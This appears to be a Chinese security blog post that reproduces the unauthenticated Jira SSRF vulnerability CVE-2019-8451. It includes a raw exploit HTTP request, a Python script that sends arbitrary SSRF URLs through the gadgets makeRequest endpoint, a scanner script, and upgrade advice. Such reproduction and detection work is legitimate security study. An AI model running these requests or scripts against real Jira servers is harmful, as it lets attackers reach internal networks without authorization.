Jira未授权SSRF漏洞复现(CVE-2019-8451)

た 入场券 2024-03-31 11:37 154阅读 0赞

0x00 漏洞背景

Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。

3689ddafb96994aa228e039b6ca6d1cf.png

67e27a70c8e673353b7aafe76ed96378.jpeg

0x01 影响范围

< 8.4.0

此漏洞是在Jira服务器7.6.0版中引入的,并在7.13.9和8.4.0版中进行了修复

0x02 漏洞复现

Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装)。

通过bupsuit进行请求如下,在响应中可以看到成功探测目标系统存在ssrf漏洞:

  1. GET /plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com HTTP/1.1
  2. Host: 10.206.1.8:8080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchangeb;v=b3
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. X-Atlassian-Token: no-check
  9. Connection: close

![Image 1][]

cce6b117fd62e62be7df1d26dccb60de.png

0x03 漏洞验证

其验证POC如下:

  1. import requests
  2. import sys
  3. # http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com/
  4. def ssrf_poc(url, ssrf_url):
  5. if url[-1] == '/':
  6. url = url[:-1]
  7. else:
  8. url = url
  9. vuln_url = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + '@' + ssrf_url
  10. headers = {
  11. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
  12. "Accept": "*/*",
  13. "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
  14. "Accept-Encoding": "gzip, deflate",
  15. "X-Atlassian-Token": "no-check",
  16. "Connection": "close"
  17. }
  18. r = requests.get(url=vuln_url, headers=headers)
  19. if r.status_code == 200 and 'set-cookie' in r.content:
  20. print "\n>>>>Send poc Success!\n"
  21. print 'X-AUSERNAME= %s' % r.headers.get('X-AUSERNAME')
  22. print "\n>>>>vuln_url= " + vuln_url + '\n'
  23. print r.content
  24. else:
  25. print "No Vuln Exit!"
  26. if __name__ == "__main__":
  27. while True:
  28. print
  29. ssrf_url = raw_input(">>>>SSRF URL: ")
  30. url = "http://10.206.1.8:8080" #需要修改成自己的目标jira系统
  31. ssrf_poc(url, ssrf_url)
  32. python CVE-2019-8451.py http://10.206.1.8:8080/

![Image 1][]

  1. 或者:
  2. #!/usr/bin/env python3
  3. import argparse
  4. import requests
  5. import re
  6. G, B, R, W, M, C, end = '\033[92m', '\033[94m', '\033[91m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m'
  7. info = end + W + "[-]" + W
  8. good = end + G + "[+]" + C
  9. bad = end + R + "[" + W + "!" + R + "]"
  10. user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
  11. def check_version(url):
  12. target = url
  13. response = send_request(target)
  14. print(info + " Checking for version..." + end)
  15. r1 = re.search('[0-9]{1}\.[0-9]{1}\.[0-9]{1}', str(response))
  16. print(info + " Jira version appears to be: " + r1.group(0) + end)
  17. v1 = '8.4.0'
  18. v2 = r1.group(0)
  19. if comapre_versions(v1, v2) == False:
  20. print(bad + " Version seems to indicate it's probably not vulnerable." + end)
  21. else:
  22. print(good + " Version seems to indicate it might be vulnerable!" + end)
  23. def comapre_versions(v1, v2):
  24. for i, j in zip(map(int, v1.split(".")), map(int, v2.split("."))):
  25. if i == j:
  26. continue
  27. return i > j
  28. return len(v1.split(".")) > len(v2.split("."))
  29. def check_vuln(url):
  30. target = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + "@example.com/"
  31. response = send_request(target)
  32. print(info + " Sending SSRF test..." + end)
  33. if '"rc":200' in response and "Example Domain" in response:
  34. print(good + " Host appears to be vulnerable! " + end)
  35. else:
  36. print(bad + " Host doesn't appear to be vulnerable." + end)
  37. def send_request(target):
  38. headers = {
  39. 'X-Atlassian-token':'no-check', 'User-Agent':user_agent}
  40. try:
  41. r = requests.get(target, headers=headers)
  42. except Exception as e:
  43. print(bad + " Problem with request! " + end)
  44. print(e)
  45. exit(-1)
  46. if (r.status_code != 200):
  47. print(info + " Something went wrong! " + end)
  48. if (r.status_code == 302):
  49. print(bad + " Redirected. Try this instead: " + r.headers['Location'] + end)
  50. else:
  51. print(bad + " Status: " + str(r.status_code) + end)
  52. exit(-1)
  53. return(r.text)
  54. if __name__ == '__main__':
  55. parser = argparse.ArgumentParser(prog='jira-2019-8451.py', description='For checking if a Jira instance is vunlerable to CVE-2019-8451')
  56. parser.add_argument("-u", "--url", help="URL of the target Jira instance e.g. '-u https://localhost:8080'")
  57. parser.add_argument("-c", "--check", help="Only check the Jira version; doesn't send SSRF attempt", action='store_true')
  58. args = parser.parse_args()
  59. if not args.url:
  60. print(bad + " Missing parameters " + end)
  61. parser.print_help()
  62. exit(-1)
  63. url = str(args.url)
  64. print(info + " Testing " + url + "..." + end)
  65. if args.check == True:
  66. check_version(url)
  67. exit(0)
  68. else:
  69. check_version(url)
  70. check_vuln(url)
  71. 使用方法:
  72. pip3 install requests
  73. $ ./jira-2019-8451.py -h
  74. usage: jira-2019-8451.py [-h] [-u URL] [-c]
  75. For checking if a Jira instance is vunlerable to CVE-2019-8451
  76. optional arguments:
  77. -h, --help show this help message and exit
  78. -u URL, --url URL URL of the target Jira instance e.g. '-u
  79. https://localhost:8080'
  80. -c, --check Only check the Jira version; doesn't send SSRF attempt
  81. D:\Python\Python37>python C:\Users\Administrator\Desktop\jira-2019-8451.py -u http://10.206.1.8:8080

800c667fb9844316b63a7047586efd24.png

![Image 1][]

0x04 修复建议

升级到8.4.0及以上版本

0x05 参考文献

https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A

https://nvd.nist.gov/vuln/detail/CVE-2019-8451

https://github.com/jas502n/CVE-2019-8451

https://github.com/ajh11g/Jira-CVE-2019-8451

https://jira.atlassian.com/browse/JRASERVER-69793

[Image 1]:

发表评论

表情:
评论列表 (有 0 条评论,154人围观)

还没有评论,来说两句吧...

相关阅读

    相关 weblogic ssrf漏洞

    SSRF简介 SSRF是一种由攻击者构造形成有服务器发起求情的一个安全漏洞,一般情况下,攻击目标是从外网无法访问的内部系统,正是因为它由服务端发起的,所以他能请求到与他相